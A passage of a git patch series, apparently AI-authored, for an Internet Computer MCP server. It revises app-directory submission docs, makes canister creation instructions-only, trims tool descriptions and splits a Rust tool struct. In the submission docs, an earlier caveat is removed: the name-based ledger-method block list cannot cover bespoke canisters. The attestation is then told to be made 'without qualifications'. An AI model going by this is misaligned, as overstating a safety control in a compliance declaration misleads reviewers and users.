`canister_update_call` **refuses the standardized ledger methods** that move value or grant spending rights — the ICRC-standard names (ICRC-1/ICRC-2 plus ICRC-4/-7/-37) on every canister, and the ICP and @@ -163,49 +169,18 @@ both are merged):** - The README, the landing page, and the server instructions all state explicitly that financial transactions are not supported. -**What honestly remains exposed to the prohibition** — keep both points in -whatever is declared: - -- `icp_create_canister` with the `icp` argument still executes an - ICP-ledger transfer (to the CMC, converting the user's own ICP into - compute for their own canister). Metered-compute funding rather than a - transfer to a third party — but it is a financial transaction the server - executes, and it needs an explicit decision before the box is checked. -- The method disallow list covers the **standardized ledger surface**, where - real funds overwhelmingly live; a bespoke canister can expose value-moving - methods under other names, which no name-based list can enumerate. Present - the posture as *stated policy + guardrail*, never as a hermetic technical - guarantee. - -**Status: asked.** The email to went out on -2026-07-31 and put **two** questions: whether cycles funding (including the -ICP-conversion path) is acceptable, and whether the general-purpose -`canister_update_call` passes review. Awaiting a reply; do not check the -compliance boxes or submit until it lands, since a truthful acknowledgment -isn't possible without it. (The `canister_update_call` mitigation that email -offered has since shipped as #154 — when replying, present it with the -guardrail caveat above, not as a complete control.) - -One thing that email leaves open: **the first-party-API acknowledgment was -not asked about.** It needs its own follow-up (see the data-handling draft -below). - -Options, in increasing order of product impact, once the answer arrives: - -1. **Proceed with the shipped posture** if the reviewers accept stated - policy + ledger-method guardrail, and cycles funding at creation - (compute-resource payment) is cleared. -2. **Directory-safe profile.** Serve a further-restricted instance for the - directory, keeping the full server available as a custom connector at - another path. To satisfy the strictest reading, such a profile drops the - generic update tool and `icp_create_canister`'s `icp` conversion path - entirely, or restricts actions to a reviewed allow-list of non-financial - operations — the shipped method blocklist alone does not get there, for - the guardrail reason above. -3. **Submit anyway**, arguing in the description that funds movement is gated - by the explicit access-level choice on the II consent screen ("Questions - only" vs "Actions & questions"). Only if the reply is inconclusive — the - risk is rejection at the automated scan, burning review-queue time. +**Posture, stated plainly — the black-and-white answer the compliance step +needs:** no tool initiates or executes a transfer of the user's funds. +Financial ledger methods are refused, and the funding operations — top-up and +canister creation — are instructions-only. The financial-transactions +acknowledgment is made on that basis, without qualifications. + +**Status: resolved in code.** An email to +(2026-07-31) had asked whether cycles funding and the general-purpose +`canister_update_call` pass review; the changes above made both questions +moot — funding no longer executes at all, and the update tool refuses +financial ledger methods. No open compliance question remains on this topic; +if a reply arrives, answer with the shipped posture. Related honesty point for the same step: there is **no per-call confirmation** for sensitive methods server-side today (an open roadmap item in the README) — @@ -280,11 +255,10 @@ Paste-and-adapt; portal limits in parentheses. > or OQL, and discover the canisters behind any IC app from its name or URL. > With your consent it can also act as your Internet Identity accounts at a > specific app, and manage canisters you control: check status, create, - > install code, and start/stop. It is not intended for financial - > transactions: as a safety measure, the standardized token-ledger transfer - > and approval methods (ICRC-1/ICRC-2 and related) are refused, and cycle - > top-ups return CLI instructions for you to run yourself instead of - > executing anything. + > install code, and start/stop. Financial transactions are not supported: + > token-ledger transfer and approval methods are refused to protect you, + > and cycle top-ups and canister creation return CLI instructions for you + > to run yourself instead of executing anything. > > On the Internet Identity consent screen you explicitly choose the session > duration (10 minutes to 30 days) and the access level: "Questions only" @@ -325,12 +299,12 @@ Paste-and-adapt; portal limits in parentheses. - **Allowed link URIs:** none needed (no `ui/open-link` usage). - **Example prompts** (≥3 required; all work with a fresh Questions-only session): - 1. *"What is canister ryjl3-tyaaa-aaaaa-aaaba-cai? Who controls it and + 1. *"What is canister gftcp-myaaa-aaaar-qcaaa-cai? Who controls it and what's its interface?"* - 2. *"Open the NNS app and list my accounts there."* - 3. *"Find the ckUSDC ledger and show me its Candid interface."* - 4. *"What canisters are behind https://oisy.com, and which one holds the - app's data?"* + 2. *"Open opencloud.org and list my accounts there."* + 3. *"How do I add cycles to my canister?"* + 4. *"What canisters are behind https://opencloud.org, and which one holds + the app's data?"* ### Reviewer test instructions (draft for the test-credentials field) @@ -347,29 +321,28 @@ Paste-and-adapt; portal limits in parentheses. > tools to return an actionable reconnect message rather than an opaque > error — that behavior is intended. Access is revocable at any time at > https://id.ai/manage/settings. -> 4. The canister-management tools act on canisters you control and (for -> creation) spend cycles, so a brand-new identity has nothing for them to -> operate on. Ask us at mcp@dfinity.org if you would like an identity -> provisioned with a canister and a cycles balance to exercise those. -> 5. Standardized ledger operations are refused by design: asking the -> assistant to transfer tokens (e.g. call `icrc1_transfer`) returns a -> policy message directing the user to a wallet they control — that -> behavior is intended (the connector is not intended for financial -> transactions). +> 4. The canister-management tools act on canisters you control, so a +> brand-new identity has nothing for them to operate on. Ask us at +> mcp@dfinity.org if you would like an identity provisioned with a +> canister to exercise those. Canister creation and top-ups return CLI +> instructions for the user to run themselves — nothing is executed. +> 5. Financial ledger operations are refused by design: asking the assistant +> to move tokens returns a policy message directing the user to a wallet +> they control — that behavior is intended (financial transactions are +> not supported). ### The seven compliance acknowledgments Topics: directory guidelines, first-party API usage, financial transactions, AI media generation, prompt injection, conversation-data collection, public -documentation. Two need resolution before the boxes can be checked -truthfully: **financial transactions** (blocker 2 — the ledger-method -refusals and the instructions-only top-up have shipped, but -`icp_create_canister`'s `icp` path and the guardrail caveat still need the -mcp-review answer or a deliberate decision) and **first-party API -usage** — DFINITY operates the connector, but it reaches the network through -DAO-governed infrastructure (`icp-api.io`, `id.ai`) and forwards -user-directed calls to third-party application canisters, so "first-party" -is not a clean yes; fold both questions into the mcp-review email. The **prompt-injection** acknowledgment needs open disclosure rather +documentation. **Financial transactions** is a clean acknowledgment: no +tool initiates or executes a transfer of the user's funds — financial ledger +methods are refused, and top-up and canister creation are instructions-only. +**First-party API usage** is answered by describing the architecture as it +is: DFINITY operates the connector itself; it reaches the network through +public Internet Computer infrastructure (`icp-api.io`, `id.ai`) and forwards +user-directed calls to the application canisters the user names — state +exactly that in the acknowledgment. The **prompt-injection** acknowledgment needs open disclosure rather than a bare yes: tool descriptions are static and contain no hidden instructions, but `icp_list_skills`/`icp_get_skill` (and the `skill://` resources) intentionally return DFINITY-published how-to documents fetched diff --git a/docs/openai-directory-submission.md b/docs/openai-directory-submission.md index cc6632c..05d4fc5 100644 --- a/docs/openai-directory-submission.md +++ b/docs/openai-directory-submission.md @@ -109,28 +109,21 @@ financial-transfers prohibition: - Commerce rules ("only for physical goods", no digital-goods selling, no embedded checkout) govern *selling through the app*; IMCP2 sells nothing. - The attestation "my plugin does not initiate or execute money transfers, - crypto transfers, or investment trades on behalf of users" is addressed by - two shipped **mitigations** — not yet grounds to check the box: - `canister_update_call` refuses the ICRC-standard transfer/approval methods - (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 equivalents) on every canister, plus - the ICP and cycles ledgers' own value-moving methods (the legacy - `transfer`, `withdraw`, the `create_canister` spends) on those ledgers, - with the policy stated in the server-level instructions rather than the - tool description (which stays free of financial language, per maintainer - review) ([#154](https://github.com/dfinity/imcp2/pull/154)), and - `icp_top_up_canister` is instructions-only and executes nothing - ([#153](https://github.com/dfinity/imcp2/pull/153)); README, landing page, + crypto transfers, or investment trades on behalf of users" is satisfied by + the shipped behavior — check it on that basis: no tool initiates or + executes a transfer of the user's funds. `canister_update_call` refuses + the financial ledger methods (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 + equivalents on every canister, plus the ICP and cycles ledgers' own + value-moving methods on those ledgers), with the policy stated in the + server-level instructions rather than the tool description (which stays + free of financial language, per maintainer review) + ([#154](https://github.com/dfinity/imcp2/pull/154)), and + `icp_top_up_canister` and `icp_create_canister` are instructions-only — + each returns the icp CLI steps for the user to run themselves and executes + nothing ([#153](https://github.com/dfinity/imcp2/pull/153), + [#154](https://github.com/dfinity/imcp2/pull/154)). README, landing page, and server instructions state that financial transactions are not - supported. Two direct counterexamples to the attestation's absolute - wording remain open and need a decision BEFORE it can be checked - truthfully: `icp_create_canister`'s `icp` argument still executes an - ICP→cycles conversion from the user's own ledger account (metered compute - funding for the user's own canister — keep, drop, or restrict it), and the - method-name guard covers the standardized ledger surface rather than every - bespoke canister. Whatever the decision, declare it honestly at the - attestations step. There is no published pre-submission contact at OpenAI - equivalent to mcp-review@anthropic.com; the attestations step is where - this is declared. + supported. ### 4. Test cases (authoring work) @@ -138,28 +131,22 @@ At least 5 positive + 3 negative cases with expected outcomes, passing on web and mobile. Draft set: Positive: -1. "What is canister ryjl3-tyaaa-aaaaa-aaaba-cai?" → identifies the ICP - ledger, its controllers and interface. -2. "Find the ckUSDC ledger and show its interface" → resolves via the - dashboard registry, returns the Candid interface. -3. "What canisters are behind https://oisy.com?" → App Connect discovery - returns the app's canisters with provenance. -4. "Open the NNS app and list my accounts there" (signed in) → resolves the - derivation origin, lists II accounts. +1. "What is canister gftcp-myaaa-aaaar-qcaaa-cai?" → identifies the + canister behind opencloud.org, its controllers and interface. +2. "How do I add cycles to my canister?" → returns step-by-step icp CLI + instructions; nothing is executed. +3. "What canisters are behind https://opencloud.org?" → App Connect + discovery returns the app's canisters with provenance. +4. "Open opencloud.org and list my accounts there" (signed in) → resolves + the derivation origin, lists II accounts. 5. "Check the status of canister " (signed in, Actions session, identity controls it) → run state, cycles, module hash. 6. "Get the Motoko skill" → returns the skill document. Negative: -1. "Open https://multidex.com" → refused by the IC-evidence gate, with the - did-you-mean error naming the real app (`https://multidex.ai`). The - explicit scheme matters: a bare `multidex.com` is deliberately treated as - a wrong-TLD guess and *repaired* to the canonical URL rather than refused, - so the bare form is not a negative case. -1a. "Send 1 ICP to " (or any `icrc1_transfer` / - `icrc2_approve` attempt via canister_update_call) → refused with the - financial-transactions policy message recommending a user-controlled - wallet (oisy.com); nothing is executed. +1. "Open https://" → refused by + the IC-evidence gate with guidance (web-search or ask the user for the + real URL) rather than resolved to a wrong identity. 2. A management call on a "Questions only" session → actionable reconnect-with-actions message, not an opaque error. 3. Any authenticated tool with no sign-in → clean 401 → OAuth flow starts diff --git a/src/assets/index.html b/src/assets/index.html index 7af96e3..4e487c4 100644 --- a/src/assets/index.html +++ b/src/assets/index.html @@ -405,7 +405,7 @@ \ No newline at end of file From 1538d392896d3fb1cb611891371be8eac8695085 Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 14:01:57 +0000 Subject: [PATCH 18/22] Keep the instructions-only tool descriptions functional, not disclaiming MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Per review: policy language belongs in the server-level instructions, not in per-tool descriptions. The top-up and creation descriptions now state the one functional fact a calling model needs — the tool only prints the icp CLI steps and never executes the operation — without the provided-for-completeness / never-moves-funds disclaimer prose. Tests pin the functional wording and that the descriptions stay free of financial language. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- crates/imcp2-core/src/tools.rs | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index c0249ca..fd262a0 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -1343,7 +1343,7 @@ impl IcTools { } #[tool( - description = "How to create and fund a NEW Internet Computer canister. PROVIDED FOR COMPLETENESS, to reflect this capability of the Internet Computer platform: the tool does NOT implement the operation on the user's behalf — it never spends cycles or ICP and executes nothing on chain. It returns step-by-step icp CLI instructions (including where to get the CLI) for the USER to create and fund the canister themselves in their own terminal, ending with the settings-update step that adds your management principal (printed by icp_cycles_balance) as a controller so icp_install_code and the lifecycle tools can manage the new canister. Pass `cycles` or `icp` only to have the intended amount substituted into the printed commands. For the full guide, load the cycles-management skill (icp_get_skill).", + description = "How to create and fund a NEW Internet Computer canister: returns step-by-step icp CLI instructions (including where to get the CLI) for the USER to run themselves in their own terminal, ending with the settings-update step that adds your management principal (printed by icp_cycles_balance) as a controller so icp_install_code and the lifecycle tools can manage the new canister — this tool only prints the steps and never executes the operation. Pass `cycles` or `icp` only to have the intended amount substituted into the printed commands. For the full guide, load the cycles-management skill (icp_get_skill).", // Instructions-only: no session, no canister call, no funds movement — a // pure read, and closed-world (nothing leaves the server). annotations(title = "How to create a canister", read_only_hint = true, destructive_hint = false, open_world_hint = false), @@ -1360,7 +1360,7 @@ impl IcTools { } #[tool( - description = "How to add cycles to an existing canister. PROVIDED FOR COMPLETENESS, to reflect this capability of the Internet Computer platform: the tool does NOT implement the operation on the user's behalf — it never moves cycles or ICP and executes nothing on chain. It returns step-by-step icp CLI instructions (including where to get the CLI) for the USER to run the top-up themselves in their own terminal. Pass `cycles` or `icp` only to have the intended amount substituted into the printed commands. For the full funding guide, load the cycles-management skill (icp_get_skill).", + description = "How to add cycles to an existing canister: returns step-by-step icp CLI instructions (including where to get the CLI) for the USER to run the top-up themselves in their own terminal — this tool only prints the steps and never executes the operation. Pass `cycles` or `icp` only to have the intended amount substituted into the printed commands. For the full funding guide, load the cycles-management skill (icp_get_skill).", // Instructions-only: no session, no canister call, no funds movement — a // pure read, and closed-world (nothing leaves the server). annotations(title = "How to top up a canister", read_only_hint = true, destructive_hint = false, open_world_hint = false), @@ -2473,11 +2473,11 @@ mod tests { } } - // icp_top_up_canister and icp_create_canister are compliance-sensitive - // surfaces: each description must present the tool as instructions-only - // (provided for completeness, executes nothing on the user's behalf), so - // directory reviewers and calling models both see that contract. Guards - // against a future edit quietly reverting either. + // icp_top_up_canister and icp_create_canister are instructions-only, and + // their descriptions must say so FUNCTIONALLY — the tool prints steps and + // never executes — without compliance disclaimers (per review, policy + // language lives in the server instructions, not per-tool descriptions). + // Guards against a future edit quietly reverting either. #[test] fn top_up_tool_declares_itself_instructions_only() { let tools = super::IcTools::tool_router().list_all(); @@ -2486,9 +2486,9 @@ mod tests { .find(|t| &*t.name == "icp_top_up_canister") .expect("icp_top_up_canister tool not found"); let desc = tool.description.as_deref().unwrap_or_default(); - assert!(desc.contains("PROVIDED FOR COMPLETENESS"), "{desc}"); - assert!(desc.contains("does NOT implement the operation"), "{desc}"); - assert!(desc.contains("never moves cycles or ICP"), "{desc}"); + assert!(desc.contains("only prints the steps"), "{desc}"); + assert!(desc.contains("never executes the operation"), "{desc}"); + assert!(!desc.to_lowercase().contains("financial"), "{desc}"); } #[test] @@ -2499,10 +2499,10 @@ mod tests { .find(|t| &*t.name == "icp_create_canister") .expect("icp_create_canister tool not found"); let desc = tool.description.as_deref().unwrap_or_default(); - assert!(desc.contains("PROVIDED FOR COMPLETENESS"), "{desc}"); - assert!(desc.contains("does NOT implement the operation"), "{desc}"); - assert!(desc.contains("never spends cycles or ICP"), "{desc}"); - assert!(desc.contains("--add-controller") || desc.contains("controller"), "{desc}"); + assert!(desc.contains("only prints the steps"), "{desc}"); + assert!(desc.contains("never executes the operation"), "{desc}"); + assert!(desc.contains("controller"), "{desc}"); + assert!(!desc.to_lowercase().contains("financial"), "{desc}"); } // EVERY tool must declare an outputSchema so a model knows the shape of its From c46add8053171c35917f43fe73c50e43b6034176 Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 14:09:11 +0000 Subject: [PATCH 19/22] Fix the read-only tool count and pin the top-up example prompts Per review-bot findings on the submission docs: with creation now instructions-only there are 19 read-only-annotated tools, not 18 (both places); the cycles-instructions example prompt names a concrete canister id since icp_top_up_canister requires one; and the README intro clause is scoped to the two instructions-only tools. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 4 ++-- docs/anthropic-directory-submission.md | 6 +++--- docs/openai-directory-submission.md | 2 +- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index 20ffd3e..935a196 100644 --- a/README.md +++ b/README.md @@ -15,8 +15,8 @@ are unsupported by policy. The standardized ledger surface is refused mechanically: `canister_update_call` rejects the ICRC-1/ICRC-2 (and related ledger-standard) transfer/approval methods on every canister, and `icp_top_up_canister` and `icp_create_canister` return `icp` CLI instructions -for the user to run themselves instead of executing anything — the server -creates nothing and moves no funds. For financial operations, users act +for the user to run themselves instead of executing anything — those tools +create nothing and move no funds. For financial operations, users act themselves in a wallet or frontend they control (e.g. [oisy.com](https://oisy.com)), in their own browser. diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index 14aad97..f23b419 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -48,7 +48,7 @@ Verified against the live production deployment (2026-07-31): | Claude Code loopback redirects (RFC 8252) | ✅ loopback redirects are exempt from the hosted allow-list | | Discovery documents (RFC 8414 + RFC 9728, path-scoped + root fallback) | ✅ all four live, `WWW-Authenticate` on the 401 points at the resource metadata | | Every tool: `title` + `readOnlyHint`/`destructiveHint` (+ `idempotentHint`, `openWorldHint`) | ✅ on all 26 tools, enforced by a unit test ([`src/tools.rs`](../src/tools.rs)) | -| No catch-all read/write tool; reads and writes are separate tools | ✅ 18 read-only tools ([#153](https://github.com/dfinity/imcp2/pull/153) merged; incl. the instructions-only top-up); writes split per operation | +| No catch-all read/write tool; reads and writes are separate tools | ✅ 19 read-only tools (incl. the instructions-only top-up and creation, [#153](https://github.com/dfinity/imcp2/pull/153)/[#154](https://github.com/dfinity/imcp2/pull/154)); writes split per operation | | Tool names ≤ 64 chars | ✅ longest is 30 | | `outputSchema` + structured content on every tool | ✅ enforced by a unit test | | Certificates from a recognized authority | ✅ Let's Encrypt via Caddy | @@ -302,7 +302,7 @@ Paste-and-adapt; portal limits in parentheses. 1. *"What is canister gftcp-myaaa-aaaar-qcaaa-cai? Who controls it and what's its interface?"* 2. *"Open opencloud.org and list my accounts there."* - 3. *"How do I add cycles to my canister?"* + 3. *"How do I add cycles to canister gftcp-myaaa-aaaar-qcaaa-cai?"* 4. *"What canisters are behind https://opencloud.org, and which one holds the app's data?"* @@ -315,7 +315,7 @@ Paste-and-adapt; portal limits in parentheses. > Every read-only tool works with any identity, because it reads public > network state. > 2. On the consent screen pick a session duration and an access level: -> "Questions only" exercises the 18 read-only-annotated tools; "Actions & +> "Questions only" exercises the 19 read-only-annotated tools; "Actions & > questions" additionally allows state-changing calls. > 3. Try the example prompts above. Questions-only sessions cause management > tools to return an actionable reconnect message rather than an opaque diff --git a/docs/openai-directory-submission.md b/docs/openai-directory-submission.md index 05d4fc5..59f6dc4 100644 --- a/docs/openai-directory-submission.md +++ b/docs/openai-directory-submission.md @@ -133,7 +133,7 @@ and mobile. Draft set: Positive: 1. "What is canister gftcp-myaaa-aaaar-qcaaa-cai?" → identifies the canister behind opencloud.org, its controllers and interface. -2. "How do I add cycles to my canister?" → returns step-by-step icp CLI +2. "How do I add cycles to canister gftcp-myaaa-aaaar-qcaaa-cai?" → returns step-by-step icp CLI instructions; nothing is executed. 3. "What canisters are behind https://opencloud.org?" → App Connect discovery returns the app's canisters with provenance. From 184d70c142c02a09a8aab72239c327de491ccd95 Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 14:29:27 +0000 Subject: [PATCH 20/22] Split IcTools into IcCanisterTools and IcProtocolTools MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The one mega-struct carried all 26 tools. Split it along the scope taxonomy the server instructions already teach: IcCanisterTools holds the app- and canister-scoped tools (the …canister…/…_app… names — Candid/OQL reads, update calls, app resolution/discovery, per-app identity), and IcProtocolTools holds the icp_-prefixed protocol/meta tools (dashboard lookups, skills, the OQL guide, and canister creation/management as the management principal). Each half owns only the state it uses (the agent stays on the canister side; the skills catalog on the protocol side). IcTools remains as the composed ServerHandler — same constructor, same get_info/instructions/resources, and a served surface byte-identical to before — dispatching tools/call by router membership and answering tools/list with the concatenated routers (the same pattern imcp2-local's LocalServer wrapper already uses to add its login tools). Tool order in tools/list changes only in that icp_oql_guide now lists with the other icp_ tools. Tests: a new taxonomy test pins the split (icp_ prefix <=> IcProtocolTools, no overlap, nothing dropped); the existing surface tests move to IcTools::all_tools(), and imcp2-local's real-MCP round-trip exercises the composed dispatch end to end. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- crates/imcp2-core/src/lib.rs | 5 +- crates/imcp2-core/src/tools.rs | 191 +++++++++++++++++++++++++++------ 2 files changed, 159 insertions(+), 37 deletions(-) diff --git a/crates/imcp2-core/src/lib.rs b/crates/imcp2-core/src/lib.rs index e50035a..870939d 100644 --- a/crates/imcp2-core/src/lib.rs +++ b/crates/imcp2-core/src/lib.rs @@ -1,7 +1,8 @@ //! imcp2-core — the transport/OAuth-agnostic components of the IMCP2 Internet //! Computer MCP server, from which a serving binary is composed: //! -//! * [`tools::IcTools`] — the complete MCP tool surface (canister reads and +//! * [`tools::IcTools`] — the complete MCP tool surface, composed from +//! [`tools::IcCanisterTools`] and [`tools::IcProtocolTools`] (canister reads and //! writes in textual Candid, app/canister discovery, OQL, canister //! management, IC skills), an [`rmcp`] `ServerHandler` ready to serve over //! whichever transport the binary picks (streamable-HTTP in the hosted @@ -38,7 +39,7 @@ mod discover; mod management; pub use identities::{IiInstance, SessionGauges}; -pub use tools::{IcTools, SessionResolver}; +pub use tools::{IcCanisterTools, IcProtocolTools, IcTools, SessionResolver}; /// The IC [`Agent`] type the components are built around, re-exported so /// callers construct the injected agent from the exact `ic-agent` version this /// crate links. diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index a6f3eb9..3235360 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -10,10 +10,10 @@ use candid::Principal; use ic_agent::{Agent, Identity}; use rmcp::{ - handler::server::wrapper::Parameters, + handler::server::{tool::ToolCallContext, wrapper::Parameters}, model::*, service::RequestContext, - tool, tool_handler, tool_router, + tool, tool_router, schemars, ErrorData as McpError, RoleServer, ServerHandler, }; @@ -49,9 +49,26 @@ const OQL_PRIMER_MD: &str = include_str!("../static/oql-primer.md"); // `discover`, `identities`, `skills`, `management`. main.rs only wires the tools // together. +/// The app- and canister-scoped tools: everything that reads, discovers, or +/// calls ONE app or canister (the `…canister…` / `…_app…` names) — Candid and +/// OQL reads, update calls, app resolution/discovery, and the per-app +/// identity tools. Served together with [`IcProtocolTools`] behind +/// [`IcTools`]. #[derive(Clone)] -pub struct IcTools { +pub struct IcCanisterTools { agent: Agent, + identities: Identities, + /// The authentication seam (see [`SessionResolver`]): asks the embedding + /// binary which already-validated session this call acts as. + session: SessionResolver, +} + +/// The IC protocol / meta-level tools (the `icp_` prefix): dashboard name/id +/// lookups, the official IC skills, the OQL dialect guide, and canister +/// creation/management as the standing management principal. Served together +/// with [`IcCanisterTools`] behind [`IcTools`]. +#[derive(Clone)] +pub struct IcProtocolTools { identities: Identities, skills: skills::SkillsCatalog, /// The authentication seam (see [`SessionResolver`]): asks the embedding @@ -59,6 +76,19 @@ pub struct IcTools { session: SessionResolver, } +/// The complete MCP tool surface: [`IcCanisterTools`] and [`IcProtocolTools`] +/// composed behind one [`ServerHandler`]. The split follows the scope +/// taxonomy the server instructions teach — an `icp_` prefix marks IC +/// protocol / meta-level tools, `…_app…`/`…canister…` names act on one app or +/// canister — while the served surface (tool names, descriptions, +/// annotations, instructions, resources) is exactly what the single struct +/// used to serve. +#[derive(Clone)] +pub struct IcTools { + canister: IcCanisterTools, + protocol: IcProtocolTools, +} + /// The one seam between deployments: how a tool call finds the Internet /// Identity session it acts as. **Authentication itself lives in the embedding /// binary, not here** — the resolver only reports the outcome of a validation @@ -71,7 +101,6 @@ pub struct IcTools { pub type SessionResolver = Arc) -> Option + Send + Sync>; -#[tool_router] impl IcTools { pub fn new( agent: Agent, @@ -80,13 +109,30 @@ impl IcTools { session: SessionResolver, ) -> Self { Self { - agent, - identities, - skills, - session, + canister: IcCanisterTools { + agent, + identities: identities.clone(), + session: session.clone(), + }, + protocol: IcProtocolTools { + identities, + skills, + session, + }, } } + /// Every tool on the served surface — the app/canister tools first, then + /// the protocol/meta tools — exactly the list `tools/list` returns. + pub fn all_tools() -> Vec { + let mut tools = IcCanisterTools::tool_router().list_all(); + tools.extend(IcProtocolTools::tool_router().list_all()); + tools + } +} + +#[tool_router] +impl IcCanisterTools { /// The already-validated session id this tool call acts as, per the /// embedding binary's [`SessionResolver`]. fn current_session_id(&self, ctx: &RequestContext) -> Option { @@ -168,19 +214,6 @@ impl IcTools { } } - #[tool( - description = "Load the OQL query-surface guide: the JSON query dialect for canisters that expose OQL (get_canister_candid reports `oql: true`) — entities/fields/edges via `schema`, and the `execute` query object (filters, aggregation, ordering, edge traversal, paging). This is step ONE of the fixed sequence guide→schema→query: read this once, then `get_canister_oql_schema` for the exact entity/field names (they are the schema's own — often PLURAL and unlike the Candid types/methods, e.g. `bookings` not `Booking`/`getBookings`), then `canister_query` with the `oql` argument. Never guess bespoke per-question methods. The schema read and the query REQUIRE the app's `derivation_origin` (from open_app / resolve_app) — anonymous per-app reads are disabled for now and are rejected with guidance. Both wrap the `schema`/`execute` methods, so you write plain JSON — no Candid escaping.", - annotations(title = "Get the OQL query guide", read_only_hint = true, destructive_hint = false, open_world_hint = false), - output_schema = schema_for_output::(), - )] - async fn icp_oql_guide( - &self, - Parameters(_args): Parameters, - ) -> Result { - let output = calls::OqlGuideOutput { content: OQL_PRIMER_MD.to_string() }; - Ok(ok_structured(output.content.clone(), &output)) - } - #[tool( description = "Fetch the OQL schema catalogue of a canister that exposes the OQL surface (get_canister_candid reports `oql: true`): its entities, their primary keys, fields, and edges, as JSON. The MIDDLE step of guide→schema→query: read `icp_oql_guide` once, then call THIS before canister_query so you use the exact entity/field names instead of guessing. Entity names are the schema's own — often PLURAL and different from the Candid types/methods (e.g. `bookings`, not `Booking`/`getBookings`). Returns the schema plus a ready-to-run `canister_query` example per entity (each preserving this call's identity). AUTH: `derivation_origin` is REQUIRED — the schema itself is gated by the caller's principal, so a read with no origin is REJECTED (anonymous per-app reads are disabled for now) with guidance to pass it, rather than returning an empty entity list you'd misread as \"the app has no data model\". Pass the app's canonical `derivation_origin` (from open_app / resolve_app) to read the entities visible to the USER; the reply echoes `derived_for_origin` / `acted_as_principal`.", annotations(title = "Get the OQL schema", read_only_hint = true, destructive_hint = false, open_world_hint = true), @@ -1194,6 +1227,29 @@ impl IcTools { } } +} + +#[tool_router] +impl IcProtocolTools { + /// The already-validated session id this tool call acts as, per the + /// embedding binary's [`SessionResolver`]. + fn current_session_id(&self, ctx: &RequestContext) -> Option { + (self.session)(ctx) + } + + #[tool( + description = "Load the OQL query-surface guide: the JSON query dialect for canisters that expose OQL (get_canister_candid reports `oql: true`) — entities/fields/edges via `schema`, and the `execute` query object (filters, aggregation, ordering, edge traversal, paging). This is step ONE of the fixed sequence guide→schema→query: read this once, then `get_canister_oql_schema` for the exact entity/field names (they are the schema's own — often PLURAL and unlike the Candid types/methods, e.g. `bookings` not `Booking`/`getBookings`), then `canister_query` with the `oql` argument. Never guess bespoke per-question methods. The schema read and the query REQUIRE the app's `derivation_origin` (from open_app / resolve_app) — anonymous per-app reads are disabled for now and are rejected with guidance. Both wrap the `schema`/`execute` methods, so you write plain JSON — no Candid escaping.", + annotations(title = "Get the OQL query guide", read_only_hint = true, destructive_hint = false, open_world_hint = false), + output_schema = schema_for_output::(), + )] + async fn icp_oql_guide( + &self, + Parameters(_args): Parameters, + ) -> Result { + let output = calls::OqlGuideOutput { content: OQL_PRIMER_MD.to_string() }; + Ok(ok_structured(output.content.clone(), &output)) + } + #[tool( description = "Find Internet Computer canisters by NAME. Searches the IC dashboard's service registries — the ICRC token ledgers (e.g. ckBTC, ckETH, ckUSDC, SNS tokens) by symbol/name, and the SNS project catalog by name — and returns matching canister ids. Use this when the user names a token, project, or service (e.g. \"ckUSDC\") rather than a canister id; then confirm with get_canister_candid, read with canister_query, and write with canister_update_call. (No public name-search exists over arbitrary canisters; this covers the IC's labelled services.)", annotations(title = "Find canisters by name", read_only_hint = true, destructive_hint = false, open_world_hint = true), @@ -2052,8 +2108,42 @@ const SERVER_INSTRUCTIONS: &str = "Internet Computer tools. Every tool speaks TE locally, have the user create the canister with the icp CLI (`icp_create_canister` \ prints the exact steps), then `icp_install_code`."; -#[tool_handler] impl ServerHandler for IcTools { + async fn list_tools( + &self, + _request: Option, + _ctx: RequestContext, + ) -> Result { + Ok(ListToolsResult { + tools: Self::all_tools(), + ..Default::default() + }) + } + + async fn call_tool( + &self, + request: CallToolRequestParams, + context: RequestContext, + ) -> Result { + // Dispatch by router membership; an unknown name falls through to the + // protocol router, whose miss produces the standard method-not-found + // error (same shape the macro-generated handler returned). + if IcCanisterTools::tool_router().has_route(&request.name) { + let tcc = ToolCallContext::new(&self.canister, request, context); + IcCanisterTools::tool_router().call(tcc).await + } else { + let tcc = ToolCallContext::new(&self.protocol, request, context); + IcProtocolTools::tool_router().call(tcc).await + } + } + + fn get_tool(&self, name: &str) -> Option { + IcCanisterTools::tool_router() + .get(name) + .cloned() + .or_else(|| IcProtocolTools::tool_router().get(name).cloned()) + } + fn get_info(&self) -> ServerInfo { ServerInfo::new( ServerCapabilities::builder().enable_tools().enable_resources().build(), @@ -2078,7 +2168,7 @@ impl ServerHandler for IcTools { // Surface the IC skills as resources too (best-effort: if the registry is // unreachable, the candid resources above still list). Each `skill://` // is read on demand in read_resource. - if let Ok(skills) = self.skills.list().await { + if let Ok(skills) = self.protocol.skills.list().await { for s in skills { let title = if s.title.is_empty() { format!("IC skill: {}", s.name) @@ -2104,7 +2194,7 @@ impl ServerHandler for IcTools { ) -> Result { // Skills are fetched live by name; the candid references are static. if let Some(name) = request.uri.strip_prefix(SKILL_URI_PREFIX) { - return match self.skills.get(name).await { + return match self.protocol.skills.get(name).await { Ok(md) => Ok(ReadResourceResult::new(vec![ResourceContents::text( md, request.uri, @@ -2380,7 +2470,7 @@ mod 